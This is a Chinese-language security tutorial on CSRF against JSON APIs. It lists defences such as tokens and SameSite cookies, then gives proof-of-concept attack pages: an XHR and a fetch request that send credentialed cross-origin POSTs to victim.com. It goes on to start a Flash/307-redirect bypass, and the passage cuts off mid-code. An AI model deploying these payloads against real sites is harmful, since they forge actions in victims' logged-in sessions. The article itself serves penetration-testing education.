'聊聊Json格式下的CSRF攻擊'
一、CSRF漏洞
csrf漏洞的成因就是網站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以後只要是訪問這個網站,都會默認你已經登錄的狀態。而在這個期間,攻擊者發送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執行的。那麼,在json格式下,csrf攻擊怎麼實現呢?
1.1 防禦方案
關於防禦方案,一般有如下幾種:
1)用戶操作驗證,在提交數據時需要輸入驗證碼
2)請求來源驗證,驗證請求來源的referer
3)表單token驗證
現在業界對CSRF的防禦,一致的做法是使用一個Token(Anti CSRF Token)。
這個Token的值必須是隨機的,不可預測的。由於Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,儘量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token洩露。
例子:
第一步:用戶訪問某個表單頁面。
第二步:服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。
第三步:在頁面表單附帶上Token參數。
第四步:用戶提交請求後,服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致, 一致為合法請求,不是則非法請求。
4) 在前後端分離的前提下(例如使用ajax提交數據)設置不了token,可以給 cookie 新增 SameSite 屬性,通過這個屬性可以標記哪個 cookie 只作為同站 cookie (即第一方 cookie,不能作為第三方 cookie),既然不能作為第三方 cookie ,那麼別的網站發起第三方請求時,第三方網站是收不到這個被標記關鍵 cookie,後面的鑑權處理就好辦了。這一切都不需要做 token 生命週期的管理,也不用擔心 Referer 會丟失或被中途被篡改。
SameStie 有兩個值:Strict 和 Lax:
SameSite=Strict 嚴格模式,使用 SameSite=Strict 標記的 cookie 在任何情況下(包括異步請求和同步請求),都不能作為第三方 cookie。
SameSite=Lax 寬鬆模式,使用 SameSite=Lax 標記的 cookie 在異步請求 和 form 提交跳轉的情況下,都不能作為第三方 cookie。
那麼Strict和Lax的如何使用呢?
登錄態關鍵的 cookie 都可以設置為 Strict。
後臺根據用戶的登錄態動態新建一個可以用於校驗登錄態的 cookie ,設置為 Lax ,這樣的話對外推廣比如微博什麼的,你希望用戶在微博上打開你的鏈接還能保持登錄態。
如果你的頁面有可能被第三方網站去iframe或有接口需要做jsonp ,那麼都不能設置 Strict 或 Lax。
二、不驗證CONTENT-TYPE的情況
如果服務端沒有校驗Content-Type,或者沒有嚴格校驗Content-Type是否為application/json,我們可以使用XHR來實現csrf,poc如下:
<html>
<head>
<script style="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q區","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晉城市","region":"陵川縣","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
}
</script>
</head>
<body>
<form action="#">
<input type="button" value="Submit request" onClick="submitRequest()"/>
</form>
</body>
</html>
三、驗證CONTENT-TYPE的情況
當然了,使用XMLHttpRequest、fetch能構造出JSON請求,並且能設置Content-Type,但是無法跨域。
fetch發起的請求代碼:
<html><title>JSON CSRF POC</title><script>
fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script>
</form></html>
我們可以利用Flash的跨域與307跳轉來繞過http自定義頭限制,307跟其他3XX HTTP狀態碼之間的區別就在於,HTTP 307可以確保重定向請求發送之後,請求方法和請求主體不會發生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,並完成攻擊。
3.1 創建flash文件
為了創建能夠發送Web請求的csrf.swf文件,我們需要按照以下步驟操作:
安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。
創建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。
獲取託管Flash文件的主機系統(攻擊者的服務器)IP地址/域名,並替換掉代碼中的。
運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。
3.2 創建web服務器
1、使用python作為服務器(此方法不推薦):
先創建as文件,用上述步驟編譯:
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.ne